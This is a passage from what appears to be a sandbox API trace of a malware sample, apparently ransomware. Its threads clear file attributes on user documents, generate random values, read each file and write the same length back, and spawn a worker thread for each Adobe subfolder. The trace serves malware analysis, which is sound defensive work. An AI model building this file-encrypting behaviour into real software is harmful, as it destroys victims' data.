Seed=0x90afb94) returned 0x163fc5fb [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x710493b5 [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x736f09cf [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x272edc53 [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x2bef9cb8 [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0xcaca3aa [0064.984] RtlRandomEx (in: Seed=0x90afb94 | out: Seed=0x90afb94) returned 0x4709af55 [0064.996] SetFilePointerEx (in: hFile=0x13f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.996] ReadFile (in: hFile=0x13f8, lpBuffer=0x197a5218, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x90afb68, lpOverlapped=0x0 | out: lpBuffer=0x197a5218*, lpNumberOfBytesRead=0x90afb68*=0xc800, lpOverlapped=0x0) returned 1 [0064.997] SetFilePointerEx (in: hFile=0x13f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.997] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c750 [0064.997] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5148 [0064.997] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8da0 [0064.997] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8da0) returned 1 [0064.998] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x197b1a20 [0064.999] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8da0 [0064.999] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436228 [0064.999] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436228) returned 1 [0064.999] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5148) returned 1 [0064.999] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c750) returned 1 [0064.999] WriteFile (hFile=0x13f8, lpBuffer=0x197b1a20, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x90afb68, lpOverlapped=0x0) Thread: id = 414 os_tid = 0xd60 [0048.865] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\6MQ2JXPUL.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\6mq2jxpul.bmp")) returned 0x2020 [0048.865] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\6MQ2JXPUL.bmp", dwFileAttributes=0x20) returned 1 [0064.966] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\6MQ2JXPUL.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\6mq2jxpul.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13f4 [0064.967] GetFileSizeEx (in: hFile=0x13f4, lpFileSize=0x2cbfb38 | out: lpFileSize=0x2cbfb38*=13755) returned 1 [0064.967] SetFilePointerEx (in: hFile=0x13f4, liDistanceToMove=0x35b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.967] ReadFile (in: hFile=0x13f4, lpBuffer=0x2cbfabc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cbfab8, lpOverlapped=0x0 | out: lpBuffer=0x2cbfabc*, lpNumberOfBytesRead=0x2cbfab8*=0x4, lpOverlapped=0x0) returned 1 [0064.967] SetFilePointerEx (in: hFile=0x13f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.967] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8da0 [0064.967] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4362c8 [0064.967] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436318 [0064.968] NtQuerySystemTime (in: CurrentTime=0x2cbfa98 | out: CurrentTime=0x2cbfa98*=132174898289508000) returned 0x0 [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x245ee52c [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x4e9a2069 [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x51c2ea69 [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x55de528e [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x5b8722e [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0xe7140b9 [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x3710bab7 [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x7a42149c [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x6130575 [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x7ab0b1ae [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x4b4877af [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x7a2bb515 [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x6b46fd7f [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x952481d [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x3f52f960 [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0xba84a4c [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x7bd6c651 [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x29d920ce [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x652b661c [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x4a12b06a [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x5edcc6cd [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x4b29bcb9 [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x64d6bd10 [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x91f5953 [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x75a0494a [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x7a8b0f8d [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x4212a252 [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x5a4063f [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0xbbbf0a9 [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x230c7b06 [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x5bcbb7ec [0064.968] RtlRandomEx (in: Seed=0x2cbfaa4 | out: Seed=0x2cbfaa4) returned 0x312c5423 [0064.981] ReadFile (in: hFile=0x13f4, lpBuffer=0x1978c208, nNumberOfBytesToRead=0x35bb, lpNumberOfBytesRead=0x2cbfa94, lpOverlapped=0x0 | out: lpBuffer=0x1978c208*, lpNumberOfBytesRead=0x2cbfa94*=0x35bb, lpOverlapped=0x0) returned 1 [0064.982] SetFilePointerEx (in: hFile=0x13f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.982] WriteFile (hFile=0x13f4, lpBuffer=0x19798a10, nNumberOfBytesToWrite=0x35bb, lpNumberOfBytesWritten=0x2cbfa90, lpOverlapped=0x0) Thread: id = 415 os_tid = 0xd64 [0048.866] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x5e46430 [0048.866] wcscpy (in: _Dest=0x5e46430, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" [0048.866] wcscat (in: _Dest=0x5e46430, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\" [0048.866] wcscat (in: _Dest=0x5e46430, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*" [0048.866] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458958 [0048.866] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409e68 [0049.196] wcscmp (_String1=".", _String2=".") returned 0 [0049.196] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.196] wcscmp (_String1="..", _String2=".") returned 1 [0049.196] wcscmp (_String1="..", _String2="..") returned 0 [0049.196] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0049.196] wcscmp (_String1="Acrobat", _String2=".") returned 1 [0049.196] wcscmp (_String1="Acrobat", _String2="..") returned 1 [0049.196] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45e6b8 [0049.196] wcscpy (in: _Dest=0x45e6b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" [0049.196] wcscat (in: _Dest=0x45e6b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\" [0049.196] wcscat (in: _Dest=0x45e6b8, _Source="Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat" [0049.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45e6b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0 [0049.407] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0049.407] wcscmp (_String1="Flash Player", _String2=".") returned 1 [0049.407] wcscmp (_String1="Flash Player", _String2="..") returned 1 [0049.407] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417590 [0049.407] wcscpy (in: _Dest=0x417590, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" [0049.407] wcscat (in: _Dest=0x417590, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\" [0049.407] wcscat (in: _Dest=0x417590, _Source="Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player" [0049.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x417590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa08 [0049.408] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0049.408] wcscmp (_String1="Headlights", _String2=".") returned 1 [0049.408] wcscmp (_String1="Headlights", _String2="..") returned 1 [0049.408] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x4465d8 [0049.408] wcscpy (in: _Dest=0x4465d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" [0049.408] wcscat (in: _Dest=0x4465d8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\" [0049.408] wcscat (in: _Dest=0x4465d8, _Source="Headlights" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights" [0049.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4465d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa0c [0049.410] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0049.410] wcscmp (_String1="Linguistics", _String2=".") returned 1 [0049.410] wcscmp (_String1="Linguistics", _String2="..") returned 1 [0049.410] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x447298 [0049.410] wcscpy (in: _Dest=0x447298, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" [0049.410] wcscat (in: _Dest=0x447298, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\" [0049.410] wcscat (in: _Dest=0x447298, _Source="Linguistics" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics" [0049.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x447298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa10 [0049.411] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0049.412] wcscmp (_String1="LogTransport2", _String2=".") returned 1 [0049.412] wcscmp (_String1="LogTransport2", _String2="..") returned 1 [0049.412] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x417620 [0049.412] wcscpy (in: _Dest=0x417620, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" [0049.412] wcscat (in: _Dest=0x417620, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\" [0049.412] wcscat (in: _Dest=0x417620, _Source="LogTransport2" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2" [0049.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x417620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa14 [0049.413] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 0 [0049.413] FindClose (in: hFindFile=0x409e68 | out: hFindFile=0x409e68) returned 1 [0049.414] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458958) returned 1 [0049.414] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46430) returned 1 [0049.414] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420d28) returned 1 Thread: id = 416 os_tid = 0xd68 [0048.867] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ALMFHTkLvjeZ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\almfhtklvjez.doc")) returned 0x2020 [0048.868] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ALMFHTkLvjeZ.doc", dwFileAttributes=0x20) returned 1 [0064.950] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ALMFHTkLvjeZ.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\almfhtklvjez.doc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13f0 [0064.950] GetFileSizeEx (in: hFile=0x13f0, lpFileSize=0x36bfe40 | out: lpFileSize=0x36bfe40*=93661) returned 1 [0064.950] SetFilePointerEx (in: hFile=0x13f0, liDistanceToMove=0x16dd9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.950] ReadFile (in: hFile=0x13f0, lpBuffer=0x36bfdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36bfdc0, lpOverlapped=0x0 | out: lpBuffer=0x36bfdc4*, lpNumberOfBytesRead=0x36bfdc0*=0x4, lpOverlapped=0x0) returned 1 [0064.951] SetFilePointerEx (in: hFile=0x13f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.951] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8a80 [0064.951] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8dc8 [0064.951] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8da0 [0064.951] NtQuerySystemTime (in: CurrentTime=0x36bfda0 | out: CurrentTime=0x36bfda0*=132174898289352000) returned 0x0 [0064.951] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x314aae7f [0064.951] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x2f3d4554 [0064.951] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x7153e2a6 [0064.951] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0xdf1e61d [0064.951] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x6e351e9c [0064.951] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x547a054c [0064.951] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x6ac65289 [0064.951] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x446bf4ae [0064.951] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x6c6f009d [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x75022cc6 [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x47a0e56a [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x131c19ba [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0xaf80757 [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x50055e14 [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x37bbcac4 [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x64df964c [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x7a542649 [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x6a50f12c [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x16c0afbc [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x3c7ccbc2 [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x32f7733e [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x76ea6413 [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x67ad018a [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x1907f887 [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x7b3ac282 [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x46cb1616 [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x3abad87f [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x68476e5d [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x5ba0540c [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x2ae5d886 [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x569e88d [0064.952] RtlRandomEx (in: Seed=0x36bfdac | out: Seed=0x36bfdac) returned 0x1555707a [0064.963] SetFilePointerEx (in: hFile=0x13f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.963] ReadFile (in: hFile=0x13f0, lpBuffer=0x1995a038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x36bfd80, lpOverlapped=0x0 | out: lpBuffer=0x1995a038*, lpNumberOfBytesRead=0x36bfd80*=0xc800, lpOverlapped=0x0) returned 1 [0064.964] SetFilePointerEx (in: hFile=0x13f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.964] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c7e0 [0064.964] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed50d0 [0064.964] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8a80 [0064.964] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8a80) returned 1 [0064.965] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, 